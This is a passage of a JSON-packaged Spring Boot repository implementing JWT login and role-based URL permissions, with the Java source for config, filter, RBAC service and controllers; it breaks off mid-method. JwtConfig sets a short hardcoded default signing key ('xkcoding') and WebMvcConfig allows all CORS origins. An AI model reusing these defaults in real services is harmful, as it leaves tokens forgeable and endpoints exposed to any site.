    "content": "package com.jun.plugin.rbac.security.common;\n\nimport lombok.AllArgsConstructor;\nimport lombok.Data;\nimport lombok.NoArgsConstructor;\n\nimport java.io.Serializable;\nimport java.util.List;\n\n/**\n * <p>\n * 通用分页参数返回\n * </p>\n *\n * @package: com.xkcoding.rbac.security.common\n * @description: 通用分页参数返回\n * @author: yangkai.shen\n * @date: Created in 2018-12-11 20:26\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Data\n@NoArgsConstructor\n@AllArgsConstructor\npublic class PageResult<T> implements Serializable {\n    private static final long serialVersionUID = 3420391142991247367L;\n\n    /**\n     * 当前页数据\n     */\n    private List<T> rows;\n\n    /**\n     * 总条数\n     */\n    private Long total;\n\n    public static <T> PageResult of(List<T> rows, Long total) {\n        return new PageResult<>(rows, total);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_rbac_security/src/main/java/com/jun/plugin/rbac/security/common/Status.java",
    "content": "package com.jun.plugin.rbac.security.common;\n\nimport lombok.Getter;\n\n/**\n * <p>\n * 通用状态码\n * </p>\n *\n * @package: com.xkcoding.rbac.security.common\n * @description: 通用状态码\n * @author: yangkai.shen\n * @date: Created in 2018-12-07 14:31\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Getter\npublic enum Status implements IStatus {\n    /**\n     * 操作成功！\n     */\n    SUCCESS(200, \"操作成功！\"),\n\n    /**\n     * 操作异常！\n     */\n    ERROR(500, \"操作异常！\"),\n\n    /**\n     * 退出成功！\n     */\n    LOGOUT(200, \"退出成功！\"),\n\n    /**\n     * 请先登录！\n     */\n    UNAUTHORIZED(401, \"请先登录！\"),\n\n    /**\n     * 暂无权限访问！\n     */\n    ACCESS_DENIED(403, \"权限不足！\"),\n\n    /**\n     * 请求不存在！\n     */\n    REQUEST_NOT_FOUND(404, \"请求不存在！\"),\n\n    /**\n     * 请求方式不支持！\n     */\n    HTTP_BAD_METHOD(405, \"请求方式不支持！\"),\n\n    /**\n     * 请求异常！\n     */\n    BAD_REQUEST(400, \"请求异常！\"),\n\n    /**\n     * 参数不匹配！\n     */\n    PARAM_NOT_MATCH(400, \"参数不匹配！\"),\n\n    /**\n     * 参数不能为空！\n     */\n    PARAM_NOT_NULL(400, \"参数不能为空！\"),\n\n    /**\n     * 当前用户已被锁定，请联系管理员解锁！\n     */\n    USER_DISABLED(403, \"当前用户已被锁定，请联系管理员解锁！\"),\n\n    /**\n     * 用户名或密码错误！\n     */\n    USERNAME_PASSWORD_ERROR(5001, \"用户名或密码错误！\"),\n\n    /**\n     * token 已过期，请重新登录！\n     */\n    TOKEN_EXPIRED(5002, \"token 已过期，请重新登录！\"),\n\n    /**\n     * token 解析失败，请尝试重新登录！\n     */\n    TOKEN_PARSE_ERROR(5002, \"token 解析失败，请尝试重新登录！\"),\n\n    /**\n     * 当前用户已在别处登录，请尝试更改密码或重新登录！\n     */\n    TOKEN_OUT_OF_CTRL(5003, \"当前用户已在别处登录，请尝试更改密码或重新登录！\"),\n\n    /**\n     * 无法手动踢出自己，请尝试退出登录操作！\n     */\n    KICKOUT_SELF(5004, \"无法手动踢出自己，请尝试退出登录操作！\");\n\n    /**\n     * 状态码\n     */\n    private Integer code;\n\n    /**\n     * 返回信息\n     */\n    private String message;\n\n    Status(Integer code, String message) {\n        this.code = code;\n        this.message = message;\n    }\n\n    public static Status fromCode(Integer code) {\n        Status[] statuses = Status.values();\n        for (Status status : statuses) {\n            if (status.getCode()\n                    .equals(code)) {\n                return status;\n            }\n        }\n        return SUCCESS;\n    }\n\n    @Override\n    public String toString() {\n        return String.format(\" Status:{code=%s, message=%s} \", getCode(), getMessage());\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_rbac_security/src/main/java/com/jun/plugin/rbac/security/config/CustomConfig.java",
    "content": "package com.jun.plugin.rbac.security.config;\n\nimport lombok.Data;\nimport org.springframework.boot.context.properties.ConfigurationProperties;\n\n/**\n * <p>\n * 自定义配置\n * </p>\n *\n * @package: com.xkcoding.rbac.security.config\n * @description: 自定义配置\n * @author: yangkai.shen\n * @date: Created in 2018-12-13 10:56\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@ConfigurationProperties(prefix = \"custom.config\")\n@Data\npublic class CustomConfig {\n    /**\n     * 不需要拦截的地址\n     */\n    private IgnoreConfig ignores;\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_rbac_security/src/main/java/com/jun/plugin/rbac/security/config/IdConfig.java",
    "content": "package com.jun.plugin.rbac.security.config;\n\nimport cn.hutool.core.lang.Snowflake;\nimport cn.hutool.core.util.IdUtil;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\n\n/**\n * <p>\n * 雪花主键生成器\n * </p>\n *\n * @package: com.xkcoding.rbac.security.config\n * @description: 雪花主键生成器\n * @author: yangkai.shen\n * @date: Created in 2018-12-10 11:28\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Configuration\npublic class IdConfig {\n    /**\n     * 雪花生成器\n     */\n    @Bean\n    public Snowflake snowflake() {\n        return IdUtil.createSnowflake(1, 1);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_rbac_security/src/main/java/com/jun/plugin/rbac/security/config/IgnoreConfig.java",
    "content": "package com.jun.plugin.rbac.security.config;\n\nimport com.google.common.collect.Lists;\nimport lombok.Data;\n\nimport java.util.List;\n\n/**\n * <p>\n * 忽略配置\n * </p>\n *\n * @package: com.xkcoding.rbac.security.config\n * @description: 忽略配置\n * @author: yangkai.shen\n * @date: Created in 2018-12-17 17:37\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Data\npublic class IgnoreConfig {\n    /**\n     * 需要忽略的 URL 格式，不考虑请求方法\n     */\n    private List<String> pattern = Lists.newArrayList();\n\n    /**\n     * 需要忽略的 GET 请求\n     */\n    private List<String> get = Lists.newArrayList();\n\n    /**\n     * 需要忽略的 POST 请求\n     */\n    private List<String> post = Lists.newArrayList();\n\n    /**\n     * 需要忽略的 DELETE 请求\n     */\n    private List<String> delete = Lists.newArrayList();\n\n    /**\n     * 需要忽略的 PUT 请求\n     */\n    private List<String> put = Lists.newArrayList();\n\n    /**\n     * 需要忽略的 HEAD 请求\n     */\n    private List<String> head = Lists.newArrayList();\n\n    /**\n     * 需要忽略的 PATCH 请求\n     */\n    private List<String> patch = Lists.newArrayList();\n\n    /**\n     * 需要忽略的 OPTIONS 请求\n     */\n    private List<String> options = Lists.newArrayList();\n\n    /**\n     * 需要忽略的 TRACE 请求\n     */\n    private List<String> trace = Lists.newArrayList();\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_rbac_security/src/main/java/com/jun/plugin/rbac/security/config/JwtAuthenticationFilter.java",
    "content": "package com.jun.plugin.rbac.security.config;\n\nimport cn.hutool.core.collection.CollUtil;\nimport cn.hutool.core.util.ObjectUtil;\nimport cn.hutool.core.util.StrUtil;\nimport com.google.common.collect.Sets;\nimport com.jun.plugin.rbac.security.common.Status;\nimport com.jun.plugin.rbac.security.exception.SecurityException;\nimport com.jun.plugin.rbac.security.service.CustomUserDetailsService;\nimport com.jun.plugin.rbac.security.util.JwtUtil;\nimport com.jun.plugin.rbac.security.util.ResponseUtil;\n\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.http.HttpMethod;\nimport org.springframework.security.authentication.UsernamePasswordAuthenticationToken;\nimport org.springframework.security.core.context.SecurityContextHolder;\nimport org.springframework.security.core.userdetails.UserDetails;\nimport org.springframework.security.web.authentication.WebAuthenticationDetailsSource;\nimport org.springframework.security.web.util.matcher.AntPathRequestMatcher;\nimport org.springframework.stereotype.Component;\nimport org.springframework.web.filter.OncePerRequestFilter;\n\nimport javax.servlet.FilterChain;\nimport javax.servlet.ServletException;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\nimport java.io.IOException;\nimport java.util.Set;\n\n/**\n * <p>\n * Jwt 认证过滤器\n * </p>\n *\n * @package: com.xkcoding.rbac.security.config\n * @description: Jwt 认证过滤器\n * @author: yangkai.shen\n * @date: Created in 2018-12-10 15:15\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Component\n@Slf4j\npublic class JwtAuthenticationFilter extends OncePerRequestFilter {\n    @Autowired\n    private CustomUserDetailsService customUserDetailsService;\n\n    @Autowired\n    private JwtUtil jwtUtil;\n\n    @Autowired\n    private CustomConfig customConfig;\n\n    @Override\n    protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain) throws ServletException, IOException {\n\n        if (checkIgnores(request)) {\n            filterChain.doFilter(request, response);\n            return;\n        }\n\n        String jwt = jwtUtil.getJwtFromRequest(request);\n\n        if (StrUtil.isNotBlank(jwt)) {\n            try {\n                String username = jwtUtil.getUsernameFromJWT(jwt);\n\n                UserDetails userDetails = customUserDetailsService.loadUserByUsername(username);\n                UsernamePasswordAuthenticationToken authentication = new UsernamePasswordAuthenticationToken(userDetails, null, userDetails.getAuthorities());\n                authentication.setDetails(new WebAuthenticationDetailsSource().buildDetails(request));\n\n                SecurityContextHolder.getContext()\n                        .setAuthentication(authentication);\n                filterChain.doFilter(request, response);\n            } catch (SecurityException e) {\n                ResponseUtil.renderJson(response, e);\n            }\n        } else {\n            ResponseUtil.renderJson(response, Status.UNAUTHORIZED, null);\n        }\n\n    }\n\n    /**\n     * 请求是否不需要进行权限拦截\n     *\n     * @param request 当前请求\n     * @return true - 忽略，false - 不忽略\n     */\n    private boolean checkIgnores(HttpServletRequest request) {\n        String method = request.getMethod();\n\n        HttpMethod httpMethod = HttpMethod.resolve(method);\n        if (ObjectUtil.isNull(httpMethod)) {\n            httpMethod = HttpMethod.GET;\n        }\n\n        Set<String> ignores = Sets.newHashSet();\n\n        switch (httpMethod) {\n            case GET:\n                ignores.addAll(customConfig.getIgnores()\n                        .getGet());\n                break;\n            case PUT:\n                ignores.addAll(customConfig.getIgnores()\n                        .getPut());\n                break;\n            case HEAD:\n                ignores.addAll(customConfig.getIgnores()\n                        .getHead());\n                break;\n            case POST:\n                ignores.addAll(customConfig.getIgnores()\n                        .getPost());\n                break;\n            case PATCH:\n                ignores.addAll(customConfig.getIgnores()\n                        .getPatch());\n                break;\n            case TRACE:\n                ignores.addAll(customConfig.getIgnores()\n                        .getTrace());\n                break;\n            case DELETE:\n                ignores.addAll(customConfig.getIgnores()\n                        .getDelete());\n                break;\n            case OPTIONS:\n                ignores.addAll(customConfig.getIgnores()\n                        .getOptions());\n                break;\n            default:\n                break;\n        }\n\n        ignores.addAll(customConfig.getIgnores()\n                .getPattern());\n\n        if (CollUtil.isNotEmpty(ignores)) {\n            for (String ignore : ignores) {\n                AntPathRequestMatcher matcher = new AntPathRequestMatcher(ignore, method);\n                if (matcher.matches(request)) {\n                    return true;\n                }\n            }\n        }\n\n        return false;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_rbac_security/src/main/java/com/jun/plugin/rbac/security/config/JwtConfig.java",
    "content": "package com.jun.plugin.rbac.security.config;\n\nimport lombok.Data;\nimport org.springframework.boot.context.properties.ConfigurationProperties;\n\n/**\n * <p>\n * JWT 配置\n * </p>\n *\n * @package: com.xkcoding.rbac.security.config\n * @description: JWT 配置\n * @author: yangkai.shen\n * @date: Created in 2018-12-07 13:42\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@ConfigurationProperties(prefix = \"jwt.config\")\n@Data\npublic class JwtConfig {\n    /**\n     * jwt 加密 key，默认值：xkcoding.\n     */\n    private String key = \"xkcoding\";\n\n    /**\n     * jwt 过期时间，默认值：600000 {@code 10 分钟}.\n     */\n    private Long ttl = 600000L;\n\n    /**\n     * 开启 记住我 之后 jwt 过期时间，默认值 604800000 {@code 7 天}\n     */\n    private Long remember = 604800000L;\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_rbac_security/src/main/java/com/jun/plugin/rbac/security/config/RbacAuthorityService.java",
    "content": "package com.jun.plugin.rbac.security.config;\n\nimport cn.hutool.core.util.StrUtil;\nimport com.google.common.collect.ArrayListMultimap;\nimport com.google.common.collect.Multimap;\nimport com.jun.plugin.rbac.security.common.Consts;\nimport com.jun.plugin.rbac.security.common.Status;\nimport com.jun.plugin.rbac.security.exception.SecurityException;\nimport com.jun.plugin.rbac.security.model.Permission;\nimport com.jun.plugin.rbac.security.model.Role;\nimport com.jun.plugin.rbac.security.repository.PermissionDao;\nimport com.jun.plugin.rbac.security.repository.RoleDao;\nimport com.jun.plugin.rbac.security.vo.UserPrincipal;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.security.core.Authentication;\nimport org.springframework.security.core.userdetails.UserDetails;\nimport org.springframework.security.web.util.matcher.AntPathRequestMatcher;\nimport org.springframework.stereotype.Component;\nimport org.springframework.web.method.HandlerMethod;\nimport org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;\nimport org.springframework.web.servlet.mvc.method.RequestMappingInfo;\nimport org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;\n\nimport javax.servlet.http.HttpServletRequest;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Objects;\nimport java.util.Set;\nimport java.util.stream.Collectors;\n\n/**\n * <p>\n * 动态路由认证\n * </p>\n *\n * @package: com.xkcoding.rbac.security.config\n * @description: 动态路由认证\n * @author: yangkai.shen\n * @date: Created in 2018-12-10 17:17\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Component\npublic class RbacAuthorityService {\n    @Autowired\n    private RoleDao roleDao;\n\n    @Autowired\n    private PermissionDao permissionDao;\n\n    @Autowired\n    private RequestMappingHandlerMapping mapping;\n\n    public boolean hasPermission(HttpServletRequest request, Authentication authentication) {\n        checkRequest(request);\n\n        Object userInfo = authentication.getPrincipal();\n        boolean hasPermission = false;\n\n        if (userInfo instanceof UserDetails) {\n            UserPrincipal principal = (UserPrincipal) userInfo;\n            Long userId = principal.getId();\n\n            List<Role> roles = roleDao.selectByUserId(userId);\n            List<Long> roleIds = roles.stream()\n                    .map(Role::getId)\n                    .collect(Collectors.toList());\n            List<Permission> permissions = permissionDao.selectByRoleIdList(roleIds);\n\n            //获取资源，前后端分离，所以过滤页面权限，只保留按钮权限\n            List<Permission> btnPerms = permissions.stream()\n                    // 过滤页面权限\n                    .filter(permission -> Objects.equals(permission.getType(), Consts.BUTTON))\n                    // 过滤 URL 为空\n                    .filter(permission -> StrUtil.isNotBlank(permission.getUrl()))\n                    // 过滤 METHOD 为空\n                    .filter(permission -> StrUtil.isNotBlank(permission.getMethod()))\n                    .collect(Collectors.toList());\n\n            for (Permission btnPerm : btnPerms) {\n                AntPathRequestMatcher antPathMatcher = new AntPathRequestMatcher(btnPerm.getUrl(), btnPerm.getMethod());\n                if (antPathMatcher.matches(request)) {\n                    hasPermission = true;\n                    break;\n                }\n            }\n\n            return hasPermission;\n        } else {\n            return false;\n        }\n    }\n\n    /**\n     * 校验请求是否存在\n     *\n     * @param request 请求\n     */\n    private void checkRequest(HttpServletRequest request) {\n        // 获取当前 request 的方法\n        String currentMethod = request.getMethod();\n        Multimap<String, String> urlMapping = allUrlMapping();\n\n        for (String uri : urlMapping.keySet()) {\n            // 通过 AntPathRequestMatcher 匹配 url\n            // 可以通过 2 种方式创建 AntPathRequestMatcher\n            // 1：new AntPathRequestMatcher(uri,method) 这种方式可以直接判断方法是否匹配，因为这里我们把 方法不匹配 自定义抛出，所以，我们使用第2种方式创建\n            // 2：new AntPathRequestMatcher(uri) 这种方式不校验请求方法，只校验请求路径\n            AntPathRequestMatcher antPathMatcher = new AntPathRequestMatcher(uri);\n            if (antPathMatcher.matches(request)) {\n                if (!urlMapping.get(uri)\n                        .contains(currentMethod)) {\n                    throw new SecurityException(Status.HTTP_BAD_METHOD);\n                } else {\n                    return;\n                }\n            }\n        }\n\n        throw new SecurityException(Status.REQUEST_NOT_FOUND);\n    }\n\n    /**\n     * 获取 所有URL Mapping，返回格式为{\"/test\":[\"GET\",\"POST\"],\"/sys\":[\"GET\",\"DELETE\"]}\n     *\n     * @return {@link ArrayListMultimap} 格式的 URL Mapping\n     */\n    private Multimap<String, String> allUrlMapping() {\n        Multimap<String, String> urlMapping = ArrayListMultimap.create();\n\n        // 获取url与类和方法的对应信息\n        Map<RequestMappingInfo, HandlerMethod> handlerMethods = mapping.getHandlerMethods();\n\n        handlerMethods.forEach((k, v) -> {\n            // 获取当前 key 下的获取所有URL\n            Set<String> url = k.getPatternsCondition()\n                    .getPatterns();\n            RequestMethodsRequestCondition method = k.getMethodsCondition();\n\n            // 为每个URL添加所有的请求方法\n            url.forEach(s -> urlMapping.putAll(s, method.getMethods()\n                    .stream()\n                    .map(Enum::toString)\n                    .collect(Collectors.toList())));\n        });\n\n        return urlMapping;\n    }\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_rbac_security/src/main/java/com/jun/plugin/rbac/security/config/RedisConfig.java",
    "content": "package com.jun.plugin.rbac.security.config;\n\nimport org.springframework.boot.autoconfigure.AutoConfigureAfter;\nimport org.springframework.boot.autoconfigure.data.redis.RedisAutoConfiguration;\nimport org.springframework.cache.annotation.EnableCaching;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.data.redis.connection.lettuce.LettuceConnectionFactory;\nimport org.springframework.data.redis.core.RedisTemplate;\nimport org.springframework.data.redis.serializer.GenericJackson2JsonRedisSerializer;\nimport org.springframework.data.redis.serializer.StringRedisSerializer;\n\nimport java.io.Serializable;\n\n/**\n * <p>\n * redis配置\n * </p>\n *\n * @package: com.xkcoding.rbac.security.config\n * @description: redis配置\n * @author: yangkai.shen\n * @date: Created in 2018-12-11 15:16\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Configuration\n@AutoConfigureAfter(RedisAutoConfiguration.class)\n@EnableCaching\npublic class RedisConfig {\n\n    /**\n     * 默认情况下的模板只能支持RedisTemplate<String, String>，也就是只能存入字符串，因此支持序列化\n     */\n    @Bean\n    public RedisTemplate<String, Serializable> redisCacheTemplate(LettuceConnectionFactory redisConnectionFactory) {\n        RedisTemplate<String, Serializable> template = new RedisTemplate<>();\n        template.setKeySerializer(new StringRedisSerializer());\n        template.setValueSerializer(new GenericJackson2JsonRedisSerializer());\n        template.setConnectionFactory(redisConnectionFactory);\n        return template;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_rbac_security/src/main/java/com/jun/plugin/rbac/security/config/SecurityConfig.java",
    "content": "package com.jun.plugin.rbac.security.config;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.boot.context.properties.EnableConfigurationProperties;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.http.HttpMethod;\nimport org.springframework.security.authentication.AuthenticationManager;\nimport org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder;\nimport org.springframework.security.config.annotation.web.builders.HttpSecurity;\nimport org.springframework.security.config.annotation.web.builders.WebSecurity;\nimport org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;\nimport org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;\nimport org.springframework.security.config.http.SessionCreationPolicy;\nimport org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;\nimport org.springframework.security.web.access.AccessDeniedHandler;\nimport org.springframework.security.web.authentication.UsernamePasswordAuthenticationFilter;\n\nimport com.jun.plugin.rbac.security.service.CustomUserDetailsService;\n\n/**\n * <p>\n * Security 配置\n * </p>\n *\n * @package: com.xkcoding.rbac.security.config\n * @description: Security 配置\n * @author: yangkai.shen\n * @date: Created in 2018-12-07 16:46\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Configuration\n@EnableWebSecurity\n@EnableConfigurationProperties(CustomConfig.class)\npublic class SecurityConfig extends WebSecurityConfigurerAdapter {\n    @Autowired\n    private CustomConfig customConfig;\n\n    @Autowired\n    private AccessDeniedHandler accessDeniedHandler;\n\n    @Autowired\n    private CustomUserDetailsService customUserDetailsService;\n\n    @Autowired\n    private JwtAuthenticationFilter jwtAuthenticationFilter;\n\n    @Bean\n    public BCryptPasswordEncoder encoder() {\n        return new BCryptPasswordEncoder();\n    }\n\n    @Override\n    @Bean\n    public AuthenticationManager authenticationManagerBean() throws Exception {\n        return super.authenticationManagerBean();\n    }\n\n    @Override\n    protected void configure(AuthenticationManagerBuilder auth) throws Exception {\n        auth.userDetailsService(customUserDetailsService).passwordEncoder(encoder());\n    }\n\n    @Override\n    protected void configure(HttpSecurity http) throws Exception {\n\n        // @formatter:off\n        http.cors()\n                // 关闭 CSRF\n                .and().csrf().disable()\n                // 登录行为由自己实现，参考 AuthController#login\n                .formLogin().disable()\n                .httpBasic().disable()\n\n                // 认证请求\n                .authorizeRequests()\n                // 所有请求都需要登录访问\n                .anyRequest()\n                .authenticated()\n                // RBAC 动态 url 认证\n                .anyRequest()\n                .access(\"@rbacAuthorityService.hasPermission(request,authentication)\")\n\n                // 登出行为由自己实现，参考 AuthController#logout\n                .and().logout().disable()\n                // Session 管理\n                .sessionManagement()\n                // 因为使用了JWT，所以这里不管理Session\n                .sessionCreationPolicy(SessionCreationPolicy.STATELESS)\n\n                // 异常处理\n                .and().exceptionHandling().accessDeniedHandler(accessDeniedHandler);\n        // @formatter:on\n\n        // 添加自定义 JWT 过滤器\n        http.addFilterBefore(jwtAuthenticationFilter, UsernamePasswordAuthenticationFilter.class);\n    }\n\n    /**\n     * 放行所有不需要登录就可以访问的请求，参见 AuthController\n     * 也可以在 {@link #configure(HttpSecurity)} 中配置\n     * {@code http.authorizeRequests().antMatchers(\"/api/auth/**\").permitAll()}\n     */\n    @Override\n    public void configure(WebSecurity web) {\n        WebSecurity and = web.ignoring().and();\n\n        // 忽略 GET\n        customConfig.getIgnores().getGet().forEach(url -> and.ignoring().antMatchers(HttpMethod.GET, url));\n\n        // 忽略 POST\n        customConfig.getIgnores().getPost().forEach(url -> and.ignoring().antMatchers(HttpMethod.POST, url));\n\n        // 忽略 DELETE\n        customConfig.getIgnores().getDelete().forEach(url -> and.ignoring().antMatchers(HttpMethod.DELETE, url));\n\n        // 忽略 PUT\n        customConfig.getIgnores().getPut().forEach(url -> and.ignoring().antMatchers(HttpMethod.PUT, url));\n\n        // 忽略 HEAD\n        customConfig.getIgnores().getHead().forEach(url -> and.ignoring().antMatchers(HttpMethod.HEAD, url));\n\n        // 忽略 PATCH\n        customConfig.getIgnores().getPatch().forEach(url -> and.ignoring().antMatchers(HttpMethod.PATCH, url));\n\n        // 忽略 OPTIONS\n        customConfig.getIgnores().getOptions().forEach(url -> and.ignoring().antMatchers(HttpMethod.OPTIONS, url));\n\n        // 忽略 TRACE\n        customConfig.getIgnores().getTrace().forEach(url -> and.ignoring().antMatchers(HttpMethod.TRACE, url));\n\n        // 按照请求格式忽略\n        customConfig.getIgnores().getPattern().forEach(url -> and.ignoring().antMatchers(url));\n\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_rbac_security/src/main/java/com/jun/plugin/rbac/security/config/SecurityHandlerConfig.java",
    "content": "package com.jun.plugin.rbac.security.config;\n\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.security.web.access.AccessDeniedHandler;\n\nimport com.jun.plugin.rbac.security.common.Status;\nimport com.jun.plugin.rbac.security.util.ResponseUtil;\n\n/**\n * <p>\n * Security 结果处理配置\n * </p>\n *\n * @package: com.xkcoding.rbac.security.config\n * @description: Security 结果处理配置\n * @author: yangkai.shen\n * @date: Created in 2018-12-07 17:31\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Configuration\npublic class SecurityHandlerConfig {\n\n    @Bean\n    public AccessDeniedHandler accessDeniedHandler() {\n        return (request, response, accessDeniedException) -> ResponseUtil.renderJson(response, Status.ACCESS_DENIED, null);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_rbac_security/src/main/java/com/jun/plugin/rbac/security/config/WebMvcConfig.java",
    "content": "package com.jun.plugin.rbac.security.config;\n\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.web.servlet.config.annotation.CorsRegistry;\nimport org.springframework.web.servlet.config.annotation.WebMvcConfigurer;\n\n/**\n * <p>\n * MVC配置\n * </p>\n *\n * @package: com.xkcoding.rbac.security.config\n * @description: MVC配置\n * @author: yangkai.shen\n * @date: Created in 2018-12-10 16:09\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Configuration\npublic class WebMvcConfig implements WebMvcConfigurer {\n\n    private static final long MAX_AGE_SECS = 3600;\n\n    @Override\n    public void addCorsMappings(CorsRegistry registry) {\n        registry.addMapping(\"/**\")\n                .allowedOrigins(\"*\")\n                .allowedMethods(\"HEAD\", \"OPTIONS\", \"GET\", \"POST\", \"PUT\", \"PATCH\", \"DELETE\")\n                .maxAge(MAX_AGE_SECS);\n    }\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_rbac_security/src/main/java/com/jun/plugin/rbac/security/controller/AuthController.java",
    "content": "package com.jun.plugin.rbac.security.controller;\n\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.data.redis.core.StringRedisTemplate;\nimport org.springframework.security.authentication.AuthenticationManager;\nimport org.springframework.security.authentication.UsernamePasswordAuthenticationToken;\nimport org.springframework.security.core.Authentication;\nimport org.springframework.security.core.context.SecurityContextHolder;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestBody;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RestController;\n\nimport com.jun.plugin.rbac.security.common.ApiResponse;\nimport com.jun.plugin.rbac.security.common.Status;\nimport com.jun.plugin.rbac.security.exception.SecurityException;\nimport com.jun.plugin.rbac.security.payload.LoginRequest;\nimport com.jun.plugin.rbac.security.util.JwtUtil;\nimport com.jun.plugin.rbac.security.vo.JwtResponse;\n\nimport javax.servlet.http.HttpServletRequest;\nimport javax.validation.Valid;\n\n/**\n * <p>\n * 认证 Controller，包括用户注册，用户登录请求\n * </p>\n *\n * @package: com.xkcoding.rbac.security.controller\n * @description: 认证 Controller，包括用户注册，用户登录请求\n * @author: yangkai.shen\n * @date: Created in 2018-12-07 17:23\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Slf4j\n@RestController\n@RequestMapping(\"/api/auth\")\npublic class AuthController {\n\n    @Autowired\n    private AuthenticationManager authenticationManager;\n\n    @Autowired\n    private JwtUtil jwtUtil;\n\n    /**\n     * 登录\n     */\n    @PostMapping(\"/login\")\n    public ApiResponse login(@Valid @RequestBody LoginRequest loginRequest) {\n        Authentication authentication = authenticationManager.authenticate(new UsernamePasswordAuthenticationToken(loginRequest.getUsernameOrEmailOrPhone(), loginRequest.getPassword()));\n\n        SecurityContextHolder.getContext()\n                .setAuthentication(authentication);\n\n        String jwt = jwtUtil.createJWT(authentication,loginRequest.getRememberMe());\n        return ApiResponse.ofSuccess(new JwtResponse(jwt));\n    }\n\n    @PostMapping(\"/logout\")\n    public ApiResponse logout(HttpServletRequest request) {\n        try {\n            // 设置JWT过期\n            jwtUtil.invalidateJWT(request);\n        } catch (SecurityException e) {\n            throw new SecurityException(Status.UNAUTHORIZED);\n        }\n        return ApiResponse.ofStatus(Status.LOGOUT);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_rbac_security/src/main/java/com/jun/plugin/rbac/security/controller/MonitorController.java",
    "content": "package com.jun.plugin.rbac.security.controller;\n\nimport cn.hutool.core.collection.CollUtil;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.*;\n\nimport com.jun.plugin.rbac.security.common.ApiResponse;\nimport com.jun.plugin.rbac.security.common.PageResult;\nimport com.jun.plugin.rbac.security.common.Status;\nimport com.jun.plugin.rbac.security.exception.SecurityException;\nimport com.jun.plugin.rbac.security.payload.PageCondition;\nimport com.jun.plugin.rbac.security.service.MonitorService;\nimport com.jun.plugin.rbac.security.util.PageUtil;\nimport com.jun.plugin.rbac.security.util.SecurityUtil;\nimport com.jun.plugin.rbac.security.vo.OnlineUser;\n\nimport java.util.List;\n\n/**\n * <p>\n * 监控 Controller，在线用户，手动踢出用户等功能\n * </p>\n *\n * @package: com.xkcoding.rbac.security.controller\n * @description: 监控 Controller，在线用户，手动踢出用户等功能\n * @author: yangkai.shen\n * @date: Created in 2018-12-11 20:55\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Slf4j\n@RestController\n@RequestMapping(\"/api/monitor\")\npublic class MonitorController {\n    @Autowired\n    private MonitorService monitorService;\n\n    /**\n     * 在线用户列表\n     *\n     * @param pageCondition 分页参数\n     */\n    @GetMapping(\"/online/user\")\n    public ApiResponse onlineUser(PageCondition pageCondition) {\n        PageUtil.checkPageCondition(pageCondition, PageCondition.class);\n        PageResult<OnlineUser> pageResult = monitorService.onlineUser(pageCondition);\n        return ApiResponse.ofSuccess(pageResult);\n    }\n\n    /**\n     * 批量踢出在线用户\n     *\n     * @param names 用户名列表\n     */\n    @DeleteMapping(\"/online/user/kickout\")\n    public ApiResponse 